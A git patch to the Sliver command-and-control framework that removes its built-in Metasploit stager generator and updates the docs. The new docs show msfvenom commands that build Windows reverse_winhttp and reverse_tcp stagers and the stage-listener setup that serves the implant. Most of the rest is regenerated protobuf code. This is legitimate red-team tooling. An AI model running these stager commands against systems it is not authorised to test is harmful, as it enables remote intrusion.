From 0deaee625d14c6f05f63c86e5c3b7ae623a1138f Mon Sep 17 00:00:00 2001
From: Raf <84349012+RafBishopFox@users.noreply.github.com>
Date: Thu, 18 Jul 2024 13:14:16 -0400
Subject: [PATCH] Removing generate msf-stager command
Removing the generate msf-stager command and adding documentation on how to use msfvenom / msfconsole to generate stager binaries.
---
client/command/exec/msf-inject.go | 2 +-
client/command/generate/commands.go | 24 -
client/command/generate/generate-stager.go | 131 --
client/command/help/long-help.go | 28 -
client/constants/constants.go | 1 -
docs/sliver-docs/pages/docs/md/Stagers.md | 31 +-
protobuf/clientpb/client.pb.go | 18 +-
protobuf/clientpb/client.proto | 1 -
protobuf/commonpb/common.pb.go | 4 +-
protobuf/dnspb/dns.pb.go | 4 +-
protobuf/rpcpb/services.pb.go | 1738 ++++++++++----------
protobuf/rpcpb/services.proto | 1 -
protobuf/rpcpb/services_grpc.pb.go | 937 ++++-------
protobuf/sliverpb/sliver.pb.go | 4 +-
server/msf/msf.go | 20 -
server/rpc/rpc-msf.go | 105 --
16 files changed, 1254 insertions(+), 1795 deletions(-)
delete mode 100644 client/command/generate/generate-stager.go
diff --git a/client/command/exec/msf-inject.go b/client/command/exec/msf-inject.go
index 4039a2dcc9..393e57c79b 100644
--- a/client/command/exec/msf-inject.go
+++ b/client/command/exec/msf-inject.go
@@ -49,7 +49,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
return
}
if pid == -1 {
- con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+ con.PrintErrorf("Invalid pid '%d', see `help %s`\n", pid, consts.MsfInjectStr)
return
}
var goos string
diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go
index e042a67c72..1e87f2508e 100644
--- a/client/command/generate/commands.go
+++ b/client/command/generate/commands.go
@@ -48,30 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
generateCmd.AddCommand(generateBeaconCmd)
- generateStagerCmd := &cobra.Command{
- Use: consts.MsfStagerStr,
- Short: "Generate a stager using Metasploit (requires local Metasploit installation)",
- Long: help.GetHelpFor([]string{consts.MsfStagerStr}),
- Run: func(cmd *cobra.Command, args []string) {
- GenerateStagerCmd(cmd, con, args)
- },
- }
- flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) {
- f.StringP("os", "o", "windows", "operating system")
- f.StringP("arch", "a", "amd64", "cpu architecture")
- f.StringP("lhost", "L", "", "Listening host")
- f.Uint32P("lport", "l", 8443, "Listening port")
- f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)")
- f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)")
- f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode")
- f.StringP("save", "s", "", "directory to save the generated stager to")
- f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)")
- })
- flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) {
- (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
- })
- generateCmd.AddCommand(generateStagerCmd)
-
generateInfoCmd := &cobra.Command{
Use: consts.CompilerInfoStr,
Short: "Get information about the server's compiler",
diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go
deleted file mode 100644
index b30831c1dd..0000000000
--- a/client/command/generate/generate-stager.go
+++ /dev/null
@@ -1,131 +0,0 @@
-package generate
-
-/*
- Sliver Implant Framework
- Copyright (C) 2022 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
- "net"
- "os"
- "regexp"
- "strings"
-
- "github.com/AlecAivazis/survey/v2"
- "github.com/bishopfox/sliver/client/console"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/spf13/cobra"
-)
-
-// GenerateStagerCmd - Generate a stager using Metasploit.
-func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
- var stageProto clientpb.StageProtocol
- lhost, _ := cmd.Flags().GetString("lhost")
- if lhost == "" {
- con.PrintErrorf("Please specify a listening host")
- return
- }
- match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
- if err != nil {
- return
- }
- if !match {
- addr, err := net.LookupHost(lhost)
- if err != nil {
- con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
- return
- }
- if len(addr) > 1 {
- prompt := &survey.Select{
- Message: "Select an address",
- Options: addr,
- }
- err := survey.AskOne(prompt, &lhost)
- if err != nil {
- con.PrintErrorf("Error: %v\n", err)
- return
- }
- } else {
- lhost = addr[0]
- }
- }
- lport, _ := cmd.Flags().GetUint32("lport")
- stageOS, _ := cmd.Flags().GetString("os")
- arch, _ := cmd.Flags().GetString("arch")
- proto, _ := cmd.Flags().GetString("protocol")
- format, _ := cmd.Flags().GetString("format")
- badChars, _ := cmd.Flags().GetString("badchars")
- save, _ := cmd.Flags().GetString("save")
- advOptions, _ := cmd.Flags().GetString("advanced")
-
- bChars := make([]string, 0)
- if len(badChars) > 0 {
- for _, b := range strings.Split(badChars, " ") {
- bChars = append(bChars, fmt.Sprintf("\\x%s", b))
- }
- }
-
- switch proto {
- case "tcp":
- stageProto = clientpb.StageProtocol_TCP
- case "http":
- stageProto = clientpb.StageProtocol_HTTP
- case "https":
- stageProto = clientpb.StageProtocol_HTTPS
- default:
- con.PrintErrorf("%s staging protocol not supported\n", proto)
- return
- }
-
- ctrl := make(chan bool)
- con.SpinUntil("Generating stager, please wait ...", ctrl)
- stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
- Arch: arch,
- BadChars: bChars,
- Format: format,
- Host: lhost,
- Port: lport,
- Protocol: stageProto,
- OS: stageOS,
- AdvOptions: advOptions,
- })
- ctrl <- true
- <-ctrl
-
- if err != nil {
- con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
- return
- }
-
- if save != "" || format == "raw" {
- saveTo, err := saveLocation(save, stageFile.GetFile().GetName(), con)
- if err != nil {
- return
- }
-
- err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0o700)
- if err != nil {
- con.PrintErrorf("Failed to write to: %s\n", saveTo)
- return
- }
- con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
- } else {
- con.PrintInfof("Here's your stager:\n")
- con.Println(string(stageFile.GetFile().GetData()))
- }
-}
diff --git a/client/command/help/long-help.go b/client/command/help/long-help.go
index a2f0ce6b58..89dc61de69 100644
--- a/client/command/help/long-help.go
+++ b/client/command/help/long-help.go
@@ -45,7 +45,6 @@ var (
consts.InfoStr: infoHelp,
consts.UseStr: useHelp,
consts.GenerateStr: generateHelp,
- consts.MsfStagerStr: generateStagerHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
@@ -196,33 +195,6 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
-`
- generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate msf-stager
-[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
-
-[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
-Bad characters must be specified like this for single bytes:
-
-generate msf-stager -b 00
-
-And like this for multiple bytes:
-
-generate msf-stager -b '00 0a cc'
-
-[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
-You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
-[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
-
-[[.Bold]][[.Underline]]++ Advanced Options ++[[.Normal]]
-If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
-The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
- TCP: meterpreter/reverse_tcp
- HTTP: custom/reverse_winhttp
- HTTPS: custom/reverse_winhttps
-
-Example:
- To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
- HttpProxyHost=proxy.corp.com&HttpProxyPort=8080&HttpProxyUser=corp_drone&HttpProxyPass=MyPassword
`
stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener
[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.
diff --git a/client/constants/constants.go b/client/constants/constants.go
index 33307c0a0c..6ada8d891b 100644
--- a/client/constants/constants.go
+++ b/client/constants/constants.go
@@ -136,7 +136,6 @@ const (
C2GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
- MsfStagerStr = "msf-stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
diff --git a/docs/sliver-docs/pages/docs/md/Stagers.md b/docs/sliver-docs/pages/docs/md/Stagers.md
index 0cc064c634..bf3ce00ab5 100644
--- a/docs/sliver-docs/pages/docs/md/Stagers.md
+++ b/docs/sliver-docs/pages/docs/md/Stagers.md
@@ -50,7 +50,10 @@ ID Name Protocol Port
### Metasploit: Bring Your Own Stager
-If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
+**Using Metasploit stagers is only supported on Windows.**
+
+#### Generating an HTTP stager
+If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
```
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
@@ -60,26 +63,32 @@ This will prepend the size of the payload to the final binary sent to the stager
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
-We can now generate a stager using the `generate stager` command:
+Either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type:
```
-sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
-
-[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
+msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin
```
-By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
-The generated shellcode can now be used on the target system to start a new Sliver session.
+**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
-## Generating Stagers with the Metasploit Framework
+Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`.
-The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
+#### Generating a TCP stager
+Use the `stage-listener` command to set up a listener that will send the binary to the stager:
```
-msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
+silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size
```
-**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
+Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit.
+
+As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`:
+
+```
+# LHOST and LPORT should correspond to the --url parameter of your stage-listener command
+
+msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin
+```
## Custom Stagers
diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go
index d6ba5105c8..7dd8e8a644 100644
--- a/protobuf/clientpb/client.pb.go
+++ b/protobuf/clientpb/client.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.34.1
-// protoc v5.26.1
+// protoc-gen-go v1.28.1
+// protoc v4.25.3
// source: clientpb/client.proto
package clientpb
@@ -5613,7 +5613,6 @@ type MsfStagerReq struct {
OS string `protobuf:"bytes,5,opt,name=OS,proto3" json:"OS,omitempty"` // reserved for future usage
Protocol StageProtocol `protobuf:"varint,6,opt,name=Protocol,proto3,enum=clientpb.StageProtocol" json:"Protocol,omitempty"`
BadChars []string `protobuf:"bytes,7,rep,name=BadChars,proto3" json:"BadChars,omitempty"`
- AdvOptions string `protobuf:"bytes,8,opt,name=AdvOptions,proto3" json:"AdvOptions,omitempty"`
HTTPC2ConfigName string `protobuf:"bytes,9,opt,name=HTTPC2ConfigName,proto3" json:"HTTPC2ConfigName,omitempty"`
}
@@ -5698,13 +5697,6 @@ func (x *MsfStagerReq) GetBadChars() []string {
return nil
}
-func (x *MsfStagerReq) GetAdvOptions() string {
- if x != nil {
- return x.AdvOptions
- }
- return ""
-}
-
func (x *MsfStagerReq) GetHTTPC2ConfigName() string {
if x != nil {
return x.HTTPC2ConfigName
@@ -11892,7 +11884,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d,
0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64,
0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x8f, 0x02, 0x0a, 0x0c, 0x4d, 0x73, 0x66,
+ 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xef, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66,
0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63,
0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a,
0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46,
@@ -11904,9 +11896,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65,
0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63,
0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07,
- 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e,
- 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2a,
+ 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x2a,
0x0a, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61,
0x6d, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32,
0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73,
diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto
index 49d1c89ad0..d6fe4acdeb 100644
--- a/protobuf/clientpb/client.proto
+++ b/protobuf/clientpb/client.proto
@@ -513,7 +513,6 @@ message MsfStagerReq {
string OS = 5; // reserved for future usage
StageProtocol Protocol = 6;
repeated string BadChars = 7;
- string AdvOptions = 8;
string HTTPC2ConfigName = 9;
}
diff --git a/protobuf/commonpb/common.pb.go b/protobuf/commonpb/common.pb.go
index da40185fdc..45460222b4 100644
--- a/protobuf/commonpb/common.pb.go
+++ b/protobuf/commonpb/common.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.34.1
-// protoc v5.26.1
+// protoc-gen-go v1.28.1
+// protoc v4.25.3
// source: commonpb/common.proto
package commonpb
diff --git a/protobuf/dnspb/dns.pb.go b/protobuf/dnspb/dns.pb.go
index 6b3ab3c41c..503408e5af 100644
--- a/protobuf/dnspb/dns.pb.go
+++ b/protobuf/dnspb/dns.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.34.1
-// protoc v5.26.1
+// protoc-gen-go v1.28.1
+// protoc v4.25.3
// source: dnspb/dns.proto
package dnspb
diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go
index 2a88b0959b..57309faa7c 100644
--- a/protobuf/rpcpb/services.pb.go
+++ b/protobuf/rpcpb/services.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.34.1
-// protoc v5.26.1
+// protoc-gen-go v1.28.1
+// protoc v4.25.3
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
- 0x74, 0x6f, 0x32, 0xaa, 0x56, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
+ 0x74, 0x6f, 0x32, 0xf1, 0x55, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -328,404 +328,400 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72,
0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12,
- 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72,
- 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d,
- 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c,
- 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49,
- 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53,
- 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47,
- 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
- 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12,
- 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f,
- 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53,
- 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65,
- 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65,
- 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13,
- 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
- 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
- 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
- 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e,
- 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
- 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f,
- 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69,
- 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e,
- 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54,
- 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45,
- 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64,
- 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
- 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12,
+ 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12,
+ 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c,
+ 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52,
+ 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65,
+ 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
+ 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f,
+ 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63,
+ 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45,
+ 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63,
+ 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65,
+ 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
+ 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65,
